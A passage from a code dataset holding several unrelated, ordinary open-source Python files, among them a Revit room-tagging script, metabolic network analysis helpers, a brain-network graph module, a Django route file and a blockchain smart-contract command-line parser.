CheckBox('isLink', 'Да, модель из связанного файла', default = True),\n            Separator(),\n            Button(\"Запуск\")]\n    form = ui.forms.FlexForm(\"Маркировка помещений или пространств\", components)\n    form.ShowDialog()\n    isSpace = form.values[\"isSpace\"]\n    isRoom = form.values[\"isRoom\"]\n    tagType = form.values[\"tagType\"]\n    isLink = form.values[\"isLink\"]\n    if isLink:\n        components = [Label(\"Узел ввода данных\"),\n            Label(\"Выбери модель из списка (если файл связанный):\"),\n            ComboBox(\"link\", linkDict),\n            Separator(),\n            Button(\"Запуск\")]\n        form = ui.forms.FlexForm(\"Маркировка помещений или пространств\", components)\n        form.ShowDialog()\n        link = form.values[\"link\"]\n\n\n\n#Main code\ntry:\n\t#main part of code\n\twith db.Transaction('pyKPLN_Маркировка пространств/помещений'):\n\t\t#Spaces\n\t\tif isSpace and isRoom:\n\t\t\tprint('Выбери только одну(!) категорию')\n\t\telif isSpace and tagType.ToString() == 'Autodesk.Revit.DB.Mechanical.SpaceTagType':\t\n\t\t\tfor view in views:\n\t\t\t\tspaces = FilteredElementCollector(doc, view.Id).OfCategory(BuiltInCategory.OST_MEPSpaces).WhereElementIsNotElementType().ToElements()\n\t\t\t\tfor space in spaces:\n\t\t\t\t\ttry:\t\t\t\t\n\t\t\t\t\t\tpoint = space.Location.Point\n\t\t\t\t\t\tif point:\n\t\t\t\t\t\t\tuv = GetUVPoint(point)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tspaceTag = CreateSpaceTag(space, uv, view)\n\t\t\t\t\t\t\tspaceTag.SpaceTagType = tagType\t\n\t\t\t\t\texcept:\n\t\t\t\t\t\tprint(\"Элемент с Id: {} не размещен\".format(space.Id))\t\t\t\t\t\t\n\t\t#Rooms\n\t\telif isRoom and tagType.ToString() == 'Autodesk.Revit.DB.Architecture.RoomTagType':\t\n\t\t\tif isLink:\t\t\n\t\t\t\tlinkDoc = link.GetLinkDocument()\n\t\t\t\tlinkId = link.Id\n\t\t\t\ttransformCoord = link.GetTransform()\n\t\t\telse:\n\t\t\t\tlinkDoc = doc\t\t\t\t\n\t\t\trooms = FilteredElementCollector(linkDoc).OfCategory(BuiltInCategory.OST_Rooms).WhereElementIsNotElementType().ToElements()\t\t\t\n\t\t\tfor room in rooms:\n\t\t\t\ttry:\t\t\t\n\t\t\t\t\tloc = room.Location\n\t\t\t\t\tif loc:\n\t\t\t\t\t\tpoint = loc.Point\n\t\t\t\t\t\tif isLink:\n\t\t\t\t\t\t\ttransformPoint = Autodesk.Revit.DB.Transform.OfPoint(transformCoord, point)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttransformPoint = point\t\t\t\t\n\t\t\t\t\t\tuv = GetUVPoint(transformPoint)\n\t\t\t\t\t\tfor view in views:\t\t\t\t\t\n\t\t\t\t\t\t\tif isLink:\t\n\t\t\t\t\t\t\t\troomId = LinkElementId(linkId, room.Id)\t\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\troomId = LinkElementId(room.Id)\t\t\t\t\n\t\t\t\t\t\t\troomTag = CreateRoomTag(roomId, uv, view.Id)\n\t\t\t\t\t\t\troomTag.RoomTagType = tagType\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"Элемент с Id: {} не размещен\".format(room.Id))\t\t\t\t\t\t\n\t\telse:\n\t\t\tprint('Не совпадает тип марки и выбранная категория')\nexcept:\n\tpass","repo_name":"bimkpln/Git_Repo_pyKPLN","sub_path":"pyKPLN_MEP/KPLN.extension/pyKPLN_MEP.tab/Помещения & Пространства.panel/Маркировка.pushbutton/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"13069505759","text":"\n\ndef platecalculator(weight, bar = 45,plates = [45,35,25,10,5,2.5]):\n    net_weight = (weight-bar)/2.0\n    required = {}\n    for index, plate in enumerate(plates):\n        required[plate] = net_weight//plate\n        net_weight = net_weight-(plate*required[plate])\n        \n    return required\n\n","repo_name":"Paul-Fallon/learnpython","sub_path":"plate_calc.py","file_name":"plate_calc.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"73119105064","text":"def employee(name):\n    def name_and_salary(salary):\n        nonlocal name\n        print(f\"my name is: {name}, my salary is {salary}\")\n        name = \"Unknown\"\n\n    name_and_salary(100000)\n    print(f\"my name is {name}\")\n\n\nname = \"John\"\nemployee(name)\nprint(f\"Global name: {name}\")\n","repo_name":"IlyaOrlov/PythonCourse2.0_September23","sub_path":"Useful/for_lec_7/local_nonlocal_name_example.py","file_name":"local_nonlocal_name_example.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"39168270427","text":"import os\nimport sys\nfrom fractions import Fraction\nfrom os import remove, devnull as os_devnull, system\nfrom random import randint\nfrom subprocess import check_call\n\nimport numpy as np\nimport psutil\nfrom numpy.linalg import svd\nfrom sympy import Matrix\n\nfrom ecmtool.mpi_wrapper import get_process_rank\n\n\ndef unique(matrix):\n    unique_set = list({tuple(row) for row in matrix if np.count_nonzero(row) > 0})\n    return np.vstack(unique_set) if len(unique_set) else to_fractions(np.ndarray(shape=(0, matrix.shape[1])))\n\n\ndef find_unique_inds(matrix, verbose=False, tol=1e-9):\n    n_rays = matrix.shape[0]\n    n_nonunique = 0\n    original_inds_remaining = np.arange(n_rays)\n    unique_inds = []\n    counter = 0\n    while matrix.shape[0] > 0:\n        row = matrix[0, :]\n        unique_inds.append(original_inds_remaining[0])\n        if verbose:\n            if counter % 100 == 0:\n                mp_print(\"Find unique rows has tested %d of %d (%f %%). Removed %d non-unique rows.\" %\n                         (counter, n_rays, counter / n_rays * 100, n_nonunique))\n        counter = counter + 1\n        equal_rows = np.where(np.max(np.abs(matrix - row), axis=1) < tol)[0]\n        if len(equal_rows):\n            n_nonunique = n_nonunique + len(equal_rows) - 1\n            matrix = np.delete(matrix, equal_rows, axis=0)\n            original_inds_remaining = np.delete(original_inds_remaining, equal_rows)\n        else:  # Something is wrong, at least the row itself should be equal to itself\n            mp_print('Something is wrong in the unique_inds function!!')\n\n    return unique_inds\n\n\ndef relative_path(file_path):\n    return os.path.join(os.path.dirname(__file__), file_path)\n\n\ndef open_relative(file_path, mode='r'):\n    return open(relative_path(file_path), mode)\n\n\ndef remove_relative(file_path):\n    return remove(relative_path(file_path))\n\n\ndef get_total_memory_gb():\n    \"\"\"\n    Returns total system memory in GiB (gibibytes)\n    :return:\n    \"\"\"\n    return psutil.virtual_memory().total / 1024 ** 3\n\n\ndef get_min_max_java_memory():\n    \"\"\"\n    Returns plausible starting and maximum virtual memory sizes in gibibytes\n    for a java VM, as used to run e.g. Polco. Min is either 10% of system RAM\n    or 1 gigabyte, whichever is larger. Max is 80% of system RAM.\n    :return:\n    \"\"\"\n    total = get_total_memory_gb()\n    min = int(np.ceil(float(total) * 0.1))\n    max = int(np.round(float(total) * 0.8))\n    return min, max\n\n\ndef nullspace(N, symbolic=True, atol=1e-13, rtol=0):\n    \"\"\"\n    Calculates the null space of given matrix N.\n    Source: https://scipy-cookbook.readthedocs.io/items/RankNullspace.html\n    :param N: ndarray\n            A should be at most 2-D.  A 1-D array with length k will be treated\n            as a 2-D with shape (1, k)\n    :param symbolic: set to False to compute nullspace numerically instead of symbolically\n    :param atol: float\n            The absolute tolerance for a zero singular value.  Singular values\n            smaller than `atol` are considered to be zero.\n    :param rtol: float\n            The relative tolerance.  Singular values less than rtol*smax are\n            considered to be zero, where smax is the largest singular value.\n    :return: If `A` is an array with shape (m, k), then `ns` will be an array\n            with shape (k, n), where n is the estimated dimension of the\n            nullspace of `A`.  The columns of `ns` are a basis for the\n            nullspace; each element in numpy.dot(A, ns) will be approximately\n            nullspace; each element in numpy.dot(A, ns) will be approximately\n            zero.\n    \"\"\"\n    if not symbolic:\n        N = np.asarray(N, dtype='int64')\n        u, s, vh = svd(N)\n        tol = max(atol, rtol * s[0])\n        nnz = (s >= tol).sum()\n        ns = vh[nnz:].conj()\n        return np.transpose(ns)\n    else:\n        nullspace_vectors = Matrix(N).nullspace()\n\n        # Add nullspace vectors to a nullspace matrix as row vectors\n        # Must be a sympy Matrix so we can do rref()\n        nullspace_matrix = nullspace_vectors[0].T if len(nullspace_vectors) else None\n        for i in range(1, len(nullspace_vectors)):\n            nullspace_matrix = nullspace_matrix.row_insert(-1, nullspace_vectors[i].T)\n\n        return to_fractions(\n            np.transpose(np.asarray(nullspace_matrix.rref()[0], dtype='object'))) if nullspace_matrix \\\n            else np.ndarray(shape=(N.shape[0], 0))\n\n\ndef get_extreme_rays(equality_matrix=None, inequality_matrix=None, symbolic=True, verbose=False):\n    rand = randint(1, 10 ** 6)\n\n    if inequality_matrix is not None and inequality_matrix.shape[0] == 0:\n        inequality_matrix = None\n\n    if equality_matrix is not None and equality_matrix.shape[0] == 0:\n        equality_matrix = None\n\n    if inequality_matrix is None:\n        if equality_matrix is not None:\n            # inequality_matrix = np.identity(equality_matrix.shape[1])\n            inequality_matrix = np.zeros(shape=(1, equality_matrix.shape[1]))\n        else:\n            raise Exception('No equality or inequality argument given')\n\n    # if inequality_matrix.shape[1] < 50:\n    #     if verbose:\n    #         print('Using CDD instead of Polco for enumeration of small system')\n    #     ineq = np.append(np.append(equality_matrix, -equality_matrix, axis=0), inequality_matrix, axis=0)\n    #     for ray in get_extreme_rays_cdd(ineq):\n    #         yield ray\n    #     return\n\n    # Write equalities system to disk as space separated file\n    if verbose:\n        print('Writing equalities to file')\n    if equality_matrix is not None:\n        with open_relative('tmp' + os.sep + 'eq_%d.txt' % rand, 'w') as file:\n            for row in range(equality_matrix.shape[0]):\n                file.write(' '.join([str(val) for val in equality_matrix[row, :]]) + '\\n')\n\n    # Write inequalities system to disk as space separated file\n    if verbose:\n        print('Writing inequalities to file')\n    with open_relative('tmp' + os.sep + 'iq_%d.txt' % rand, 'w') as file:\n        for row in range(inequality_matrix.shape[0]):\n            file.write(' '.join([str(val) for val in inequality_matrix[row, :]]) + '\\n')\n\n    # Run external extreme ray enumeration tool\n    min_mem, max_mem = get_min_max_java_memory()\n    if verbose:\n        print('Running polco (%d-%d GiB java VM memory)' % (min_mem, max_mem))\n\n    equality_path = relative_path('tmp' + os.sep + 'eq_%d.txt' % rand)\n    inequality_path = relative_path('tmp' + os.sep + 'iq_%d.txt' % rand)\n    generators_path = relative_path('tmp' + os.sep + 'generators_%d.txt' % rand)\n    with open(os_devnull, 'w') as devnull:\n        polco_path = relative_path('polco' + os.sep + 'polco.jar')\n        check_call(('java -Xms%dg -Xmx%dg ' % (min_mem, max_mem) +\n                    '-jar %s -kind text -sortinput AbsLexMin ' % polco_path +\n                    '-arithmetic %s ' % (' '.join(['fractional' if symbolic else 'double'] * 3)) +\n                    '-zero %s ' % (' '.join(['NaN' if symbolic else '1e-10'] * 3)) +\n                    ('' if equality_matrix is None else '-eq %s ' % equality_path) +\n                    ('' if inequality_matrix is None else '-iq %s ' % inequality_path) +\n                    '-out text %s' % generators_path).split(' '),\n                   stdout=(devnull if not verbose else None), stderr=(devnull if not verbose else None))\n\n    # Read resulting extreme rays\n    if verbose:\n        print('Parsing computed rays')\n    with open(generators_path, 'r') as file:\n        lines = file.readlines()\n        rays = np.ndarray(shape=(0, inequality_matrix.shape[1]))\n\n        if len(lines) > 0:\n            number_lines = len(lines)\n            number_entries = len(lines[0].replace('\\n', '').split('\\t'))\n            rays = np.repeat(np.repeat(to_fractions(np.zeros(shape=(1, 1))), number_entries, axis=1), number_lines,\n                             axis=0)\n\n            for row, line in enumerate(lines):\n                # print('line %d/%d' % (row+1, number_lines))\n                for column, value in enumerate(line.replace('\\n', '').split('\\t')):\n                    if value != '0':\n                        rays[row, column] = Fraction(str(value))\n\n    if verbose:\n        print('Done parsing rays')\n\n    # Clean up the files created above\n    if equality_matrix is not None:\n        remove(equality_path)\n\n    remove(inequality_path)\n    remove(generators_path)\n\n    return rays\n\n\ndef binary_exists(binary_file):\n    return any(\n        os.access(os.path.join(path, binary_file), os.X_OK)\n        for path in os.environ[\"PATH\"].split(os.pathsep)\n    )\n\n\ndef get_redund_binary():\n    if sys.platform.startswith('linux'):\n        if not binary_exists('redund'):\n            raise EnvironmentError(\n                'Executable \"redund\" was not found in your path. Please install package lrslib (e.g. apt install lrslib)')\n        return 'redund'\n    elif sys.platform.startswith('win32'):\n        return relative_path('redund\\\\redund_win.exe')\n    elif sys.platform.startswith('darwin'):\n        return relative_path('redund/redund_mac')\n    else:\n        raise OSError('Unsupported operating system platform: %s' % sys.platform)\n\n\ndef redund(matrix, verbose=False):\n    rank = str(get_process_rank())\n    matrix = to_fractions(matrix)\n    binary = get_redund_binary()\n    matrix_path = relative_path('tmp' + os.sep + 'matrix' + rank + '.ine')\n    matrix_nonredundant_path = relative_path('tmp' + os.sep + 'matrix_nored' + rank + '.ine')\n\n    if matrix.shape[0] <= 1:\n        return matrix\n\n    with open(matrix_path, 'w') as file:\n        file.write('V-representation\\n')\n        file.write('begin\\n')\n        file.write('%d %d rational\\n' % (matrix.shape[0], matrix.shape[1] + 1))\n        for row in range(matrix.shape[0]):\n            file.write(' 0')\n            for col in range(matrix.shape[1]):\n                file.write(' %s' % str(matrix[row, col]))\n            file.write('\\n')\n        file.write('end\\n')\n\n    system('%s %s > %s' % (binary, matrix_path, matrix_nonredundant_path))\n\n    matrix_nored = np.ndarray(shape=(0, matrix.shape[1] + 1), dtype='object')\n\n    with open(matrix_nonredundant_path) as file:\n        lines = file.readlines()\n        for line in [line for line in lines if line not in ['\\n', '']]:\n            # Skip comment and INE format lines\n            if np.any([target in line for target in ['*', 'V-representation', 'begin', 'end', 'rational']]):\n                continue\n            row = [Fraction(x) for x in line.replace('\\n', '').split(' ') if x != '']\n            matrix_nored = np.append(matrix_nored, [row], axis=0)\n\n    remove(matrix_path)\n    remove(matrix_nonredundant_path)\n\n    if verbose:\n        print('Removed %d redundant rows' % (matrix.shape[0] - matrix_nored.shape[0]))\n\n    return matrix_nored[:, 1:]\n\n\ndef to_fractions(matrix, quasi_zero_correction=False, quasi_zero_tolerance=1e-13):\n    if quasi_zero_correction:\n        # Make almost zero values equal to zero\n        matrix[(matrix < quasi_zero_tolerance) & (matrix > -quasi_zero_tolerance)] = Fraction(0, 1)\n\n    fraction_matrix = matrix.astype('object')\n\n    for row in range(matrix.shape[0]):\n        for col in range(matrix.shape[1]):\n            # str() here makes Sympy use true fractions instead of the double-precision\n            # floating point approximation\n            fraction_matrix[row, col] = Fraction(str(matrix[row, col]))\n\n    return fraction_matrix\n\n\ndef get_metabolite_adjacency(N):\n    \"\"\"\n    Returns m by m adjacency matrix of metabolites, given\n    stoichiometry matrix N. Diagonal is 0, not 1.\n    :param N: stoichiometry matrix\n    :return: m by m adjacency matrix\n    \"\"\"\n\n    number_metabolites = N.shape[0]\n    adjacency = np.zeros(shape=(number_metabolites, number_metabolites))\n\n    for metabolite_index in range(number_metabolites):\n        active_reactions = np.where(N[metabolite_index, :] != 0)[0]\n        for reaction_index in active_reactions:\n            adjacent_metabolites = np.where(N[:, reaction_index] != 0)[0]\n            for adjacent in [i for i in adjacent_metabolites if i != metabolite_index]:\n                adjacency[metabolite_index, adjacent] = 1\n                adjacency[adjacent, metabolite_index] = 1\n\n    return adjacency\n\n\ndef mp_print(*args, **kwargs):\n    \"\"\"\n    Multiprocessing wrapper for print().\n    Prints the given arguments, but only on process 0 unless\n    named argument PRINT_IF_RANK_NONZERO is set to true.\n    :return:\n    \"\"\"\n    if get_process_rank() == 0:\n        print(*args)\n    elif 'PRINT_IF_RANK_NONZERO' in kwargs and kwargs['PRINT_IF_RANK_NONZERO']:\n        print(*args)\n\n\ndef unsplit_metabolites(R, network):\n    metabolite_ids = [metab.id for metab in network.metabolites]\n    res = []\n    ids = []\n\n    processed = {}\n    for i in range(R.shape[0]):\n        metabolite = metabolite_ids[i].replace(\"_virtin\", \"\").replace(\"_virtout\", \"\")\n        if metabolite in processed:\n            row = processed[metabolite]\n            res[row] += R[i, :]\n        else:\n            res.append(R[i, :].tolist())\n            processed[metabolite] = len(res) - 1\n            ids.append(metabolite)\n\n    # remove all-zero rays\n    res = np.asarray(res)\n    res = res[:, [sum(abs(res)) != 0][0]]\n\n    return res, ids\n\n\ndef print_ecms_direct(R, metabolite_ids):\n    obj_id = -1\n    if \"objective\" in metabolite_ids:\n        obj_id = metabolite_ids.index(\"objective\")\n    elif \"objective_virtout\" in metabolite_ids:\n        obj_id = metabolite_ids.index(\"objective_virtout\")\n\n    mp_print(\"\\n--%d ECMs found--\\n\" % R.shape[1])\n    for i in range(R.shape[1]):\n        mp_print(\"ECM #%d:\" % (i + 1))\n        if np.max(R[:,\n                  i]) > 1e100:  # If numbers become too large, they can't be printed, therefore we make them smaller first\n            ecm = np.array(R[:, i] / np.max(R[:, i]), dtype='float')\n        else:\n            ecm = np.array(R[:, i], dtype='float')\n\n        div = 1\n        if obj_id != -1 and R[obj_id][i] != 0:\n            div = ecm[obj_id]\n        for j in range(R.shape[0]):\n            if ecm[j] != 0:\n                mp_print(\"%s\\t\\t->\\t%.4f\" % (metabolite_ids[j].replace(\"_in\", \"\").replace(\"_out\", \"\"), ecm[j] / div))\n        mp_print(\"\")\n\n\ndef normalize_columns(R, verbose=False):\n    result = np.zeros(R.shape)\n    number_rays = R.shape[1]\n    for i in range(result.shape[1]):\n        if verbose:\n            if i % 10000 == 0:\n                mp_print(\"Normalize columns is on ray %d of %d (%f %%)\" %\n                         (i, number_rays, i / number_rays * 100), PRINT_IF_RANK_NONZERO=True)\n        largest_number = np.max(np.abs(R[:,i]))\n        if largest_number > 1e100:  # If numbers are very large, converting to float might give issues, therefore we first divide by another int\n            part_normalized_column = np.array(R[:, i] / largest_number, dtype='float')\n            result[:, i] = part_normalized_column / np.linalg.norm(part_normalized_column)\n        else:\n            norm_column = np.linalg.norm(np.array(R[:, i], dtype='float'), ord=1)\n            if norm_column != 0:\n                result[:, i] = np.array(R[:, i], dtype='float') / norm_column\n    return result\n\n\ndef find_remaining_rows(first_mat, second_mat, tol=1e-12, verbose=False):\n    \"\"\"Checks which rows (indices) of second_mat are still in first_mat\"\"\"\n    remaining_inds = []\n    number_rays = first_mat.shape[0]\n    for ind, row in enumerate(first_mat):\n        if verbose:\n            if ind % 10000 == 0:\n                mp_print(\"Find remaining rows is on row %d of %d (%f %%)\" %\n                         (ind, number_rays, ind / number_rays * 100))\n        sec_ind = np.where(np.max(np.abs(second_mat - row), axis=1) < tol)[0]\n        # for sec_ind, sec_row in enumerate(second_mat):\n        #    if np.max(np.abs(row - sec_row)) < tol:\n        #        remaining_inds.append(ind)\n        #        continue\n        if len(sec_ind):\n            remaining_inds.append(sec_ind[0])\n        else:\n            mp_print('Warning: There are rows in the first matrix that are not in the second matrix')\n\n    return remaining_inds\n\n\ndef normalize_columns_fraction(R, vectorized=False, verbose=True):\n    if not vectorized:\n        number_rays = R.shape[1]\n        for i in range(number_rays):\n            if verbose:\n                if i % 10000 == 0:\n                    mp_print(\"Normalize columns is on ray %d of %d (%f %%)\" %\n                             (i, number_rays, i / number_rays * 100), PRINT_IF_RANK_NONZERO=True)\n            norm_column = np.sum(np.abs(np.array(R[:, i])))\n            if norm_column!=0:\n                R[:, i] = np.array(R[:, i]) / norm_column\n    else:\n        R = R / np.sum(np.abs(R), axis=0)\n    return R\n","repo_name":"CarolinSchulte/bacteroid-metabolism","sub_path":"ecmtool/ecmtool/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":16652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"40056632095","text":"import scona as scn\nimport pandas as pd\nimport numpy as np\nimport os\nimport sys\n\n\ndef load_atlas_csv() -> pd.DataFrame:\n    '''\n    Functon to return freesurfer atlas with mni co-ordinates and names\n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    atlas.csv pd.Dataframe\n    '''\n    \n    try:\n       path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'SCN/graphs/data')\n       return pd.read_csv(f'{path}/atlas.csv')\n   \n    except Exception:\n        \n        try:\n            path = os.path.join(os.getcwd(), 'SCN/graphs/data')\n            return pd.read_csv(f'{path}/atlas.csv')  \n        \n        except Exception:\n            print(f'Unable to find atlas.csv. Looking in {os.getcwd()}')\n            \n            try:\n                path = os.getcwd()\n                return pd.read_csv(f'{path}/atlas.csv')\n            \n            except Exception as e:\n                print('Unable to load atlas.csv due to:', e)\n                print('This commonly happens with venvs or grid systems. Check where SCN is looking for the atlas.csv and put the file there.')\n                sys.exit(1)\n\n\ndef load_centroids() -> np.float64:\n    '''\n    Function to return centroids from freesurfer atlas. \n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    array of np.float64 values representing x, y, z co-ordinates in MNI space\n    '''\n\n    atlas_df = load_atlas_csv()\n    return atlas_df[['x.mni', 'y.mni', 'z.mni']].to_numpy()\n\n\ndef load_names() -> list:\n    '''\n    Function to return names from freesurfer atlas. \n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    list str values of name of brain regions\n    '''\n\n    atlas_df = load_atlas_csv()\n    return list(atlas_df['name'])\n\n\ndef create_graphs(data: pd.DataFrame, names: list, centroids: np.float64, threshold: int) -> dict:\n    '''\n    Function to create a correlation matrix, graph and thresholded graph.\n    Wrapper around multiple scona functions.  \n\n    Parameters\n    -----------------------------------------------------\n    data: pandas dataframe object with the data for graph.\n    names: list object. Names of brain regions.\n    centroids. Numpy array. Co-ordinates for names (x,y,z)\n    threshold: int, optional. Level to threshold the graph at.\n\n    Returns\n    -------------------------------------------------------------------\n    results: dict object. Dictionary of corr_matrix (correlation matrix),\n             graph (graph unthresholded) and graph_threshold (thresholded graph)      \n    '''\n\n    residuals_df = scn.create_residuals_df(data, names)\n    corr_matrix = scn.create_corrmat(residuals_df, method='pearson')\n    graph = scn.BrainNetwork(\n        network=corr_matrix, parcellation=names, centroids=centroids)\n    graph_threshold = graph.threshold(threshold)\n\n    results = {\n\n        'corr_matrix': corr_matrix,\n        'graph': graph,\n        'graph_threshold': graph_threshold\n\n    }\n\n    return results\n","repo_name":"WMDA/SCN","sub_path":"SCN/graphs/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"7804772254","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"hangman\"\nurlpatterns = [\n    path('', views.play, name='play'),\n    path('reset/', views.reset, name='reset'), \n    path('<str:letter>/', views.shot, name='shot'),\n]","repo_name":"szmajdakacper/pygames","sub_path":"hangman/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"18689577493","text":"\nimport logging\nimport os\nimport sys\nfrom argparse import ArgumentParser, FileType\n\nfrom erdpy import (cli_contracts, config, dependencies, errors, facade, ide,\n                   nodedebug, projects, proxy, transactions)\n\n\ndef setup_parser_contract(subparsers):\n    parser = subparsers.add_parser(\"contract\")\n    subparsers = parser.add_subparsers()\n\n    sub = subparsers.add_parser(\"new\", description=\"Create a new Smart Contract project based on a template.\")\n    sub.add_argument(\"name\")\n    sub.add_argument(\"--template\", required=True, help=\"the template to use\")\n    sub.add_argument(\"--directory\", type=str, default=os.getcwd(), help=\"the parent directory of the project\")\n    sub.set_defaults(func=create)\n\n    sub = subparsers.add_parser(\"templates\", description=\"List the available Smart Contract templates.\")\n    sub.add_argument(\"--json\", action=\"store_true\", help=\"whether to print the list in JSON format\")\n    sub.set_defaults(func=list_templates)\n\n    sub = subparsers.add_parser(\"build\", description=\"Build a Smart Contract project using the appropriate buildchain.\")\n    sub.add_argument(\"project\", nargs='?', default=os.getcwd())\n    sub.add_argument(\"--debug\", action=\"store_true\", default=False)\n    sub.add_argument(\"--no-optimization\", action=\"store_true\", default=False)\n    sub.set_defaults(func=build)\n\n    sub = subparsers.add_parser(\"deploy\", description=\"Deploy a Smart Contract.\")\n    sub.add_argument(\"project\", nargs='?', default=os.getcwd(), help=\"the project directory\")\n    sub.add_argument(\"--proxy\", required=True, help=\"the URL of the proxy\")\n    sub.add_argument(\"--pem\", required=True, help=\"the PEM file of the owner\")\n    sub.add_argument(\"--arguments\", nargs='+', help=\"constructor arguments\")\n    sub.add_argument(\"--gas-price\", default=config.DEFAULT_GAS_PRICE, help=\"the gas price\")\n    sub.add_argument(\"--gas-limit\", required=True, help=\"the gas limit\")\n    sub.add_argument(\"--value\", default=\"0\", help=\"the value to transfer\")\n    sub.add_argument(\"--metadata-upgradeable\", action=\"store_true\", default=False, help=\"whether the contract is upgradeable\")\n    sub.add_argument(\"--outfile\", type=FileType(\"w\"), default=sys.stdout, help=\"where to save the command's output\")\n    sub.set_defaults(func=deploy)\n\n    sub = subparsers.add_parser(\"call\")\n    sub.add_argument(\"contract\")\n    sub.add_argument(\"--proxy\", required=True)\n    sub.add_argument(\"--pem\", required=True)\n    sub.add_argument(\"--function\", required=True)\n    sub.add_argument(\"--arguments\", nargs='+')\n    sub.add_argument(\"--gas-price\", default=config.DEFAULT_GAS_PRICE)\n    sub.add_argument(\"--gas-limit\", required=True)\n    sub.add_argument(\"--value\", default=\"0\")\n    sub.set_defaults(func=call)\n\n    sub = subparsers.add_parser(\"upgrade\")\n    sub.add_argument(\"contract\")\n    sub.add_argument(\"project\")\n    sub.add_argument(\"--proxy\", required=True)\n    sub.add_argument(\"--pem\", required=True)\n    sub.add_argument(\"--arguments\", nargs='+')\n    sub.add_argument(\"--gas-price\", default=config.DEFAULT_GAS_PRICE)\n    sub.add_argument(\"--gas-limit\", required=True)\n    sub.add_argument(\"--value\", default=\"0\")\n    sub.add_argument(\"--metadata-upgradeable\", action=\"store_true\", default=False)\n    sub.set_defaults(func=upgrade)\n\n    sub = subparsers.add_parser(\"query\")\n    sub.add_argument(\"contract\")\n    sub.add_argument(\"--proxy\", required=True)\n    sub.add_argument(\"--function\", required=True)\n    sub.add_argument(\"--arguments\", nargs='+')\n    sub.set_defaults(func=query)\n\n    # TODO: arwendebug\n    # node_parser = subparsers.add_parser(\"nodedebug\")\n    # group = node_parser.add_mutually_exclusive_group()\n    # group.add_argument('--stop', action='store_true')\n    # group.add_argument('--restart', action='store_true', default=True)\n    # node_parser.set_defaults(func=do_nodedebug)\n\n    sub = subparsers.add_parser(\"test\")\n    sub.add_argument(\"project\", nargs='?', default=os.getcwd())\n    sub.add_argument(\"--directory\", default=\"test\")\n    sub.add_argument(\"--wildcard\", required=False)\n    sub.set_defaults(func=run_tests)\n\n    sub = subparsers.add_parser(\"ide\")\n    sub.add_argument(\"workspace\", nargs='?', default=os.getcwd())\n    sub.set_defaults(func=run_ide)\n\n\ndef list_templates(args):\n    json = args.json\n    projects.list_project_templates(json)\n\n\ndef create(args):\n    name = args.name\n    template = args.template\n    directory = args.directory\n\n    projects.create_from_template(name, template, directory)\n\n\ndef build(args):\n    project = args.project\n    options = {\n        \"debug\": args.debug,\n        \"optimized\": not args.no_optimization,\n        \"verbose\": args.verbose\n    }\n\n    projects.build_project(project, options)\n\n\ndef deploy(args):\n    facade.deploy_smart_contract(args)\n\n\ndef call(args):\n    facade.call_smart_contract(args)\n\n\ndef upgrade(args):\n    facade.upgrade_smart_contract(args)\n\n\ndef query(args):\n    facade.query_smart_contract(args)\n\n\ndef run_tests(args):\n    projects.run_tests(args)\n\n\ndef run_ide(args):\n    workspace = args.workspace\n    ide.run_ide(workspace)\n\n\n# def do_nodedebug(args):\n#     stop = args.stop\n#     restart = args.restart\n\n#     if restart:\n#         nodedebug.stop()\n#         nodedebug.start()\n#     elif stop:\n#         nodedebug.stop()\n#     else:\n#         nodedebug.start()\n","repo_name":"kamalzaman/elrond-sdk","sub_path":"erdpy/cli_contracts.py","file_name":"cli_contracts.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"}
{"seq_id":"32829522236","text":"# 문제 풀이 실패\n\n# 모범 답안\nn, m = map(int, input().split())\n\ngraph = [list(map(int, input())) for _ in range(n)]\n\n\n# DFS로 특정 노드를 방문하고 연결된 인접 노드들 방문\ndef dfs(x, y):\n    # 주어진 범위를 벗어나면 즉시 종료\n    if x <= -1 or y <= -1 or x >= n or y >= m:\n        return False\n    # 현재 노드를 아직 방문하지 않았다면\n    if graph[x][y] == 0:\n        # 해당 노드를 방문 처리\n        graph[x][y] = 1\n        # 상, 하, 좌, 우를 재귀적으로 호출\n        dfs(x - 1, y)\n        dfs(x + 1, y)\n        dfs(x, y - 1)\n        dfs(x, y + 1)\n        return True\n    return False\n\n\n# 모든 노드에 대하여 음료수 채우기\nresult = 0\nfor i in range(n):\n    for j in range(m):\n        # 현재 위치에서 DFS 수행\n        if dfs(i, j):\n            result += 1\n\nprint(result)\n","repo_name":"veluminous/CodingTest","sub_path":"[이것이 코딩테스트다] 실전 문제/[DFS] 음료수 얼려먹기.py","file_name":"[DFS] 음료수 얼려먹기.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
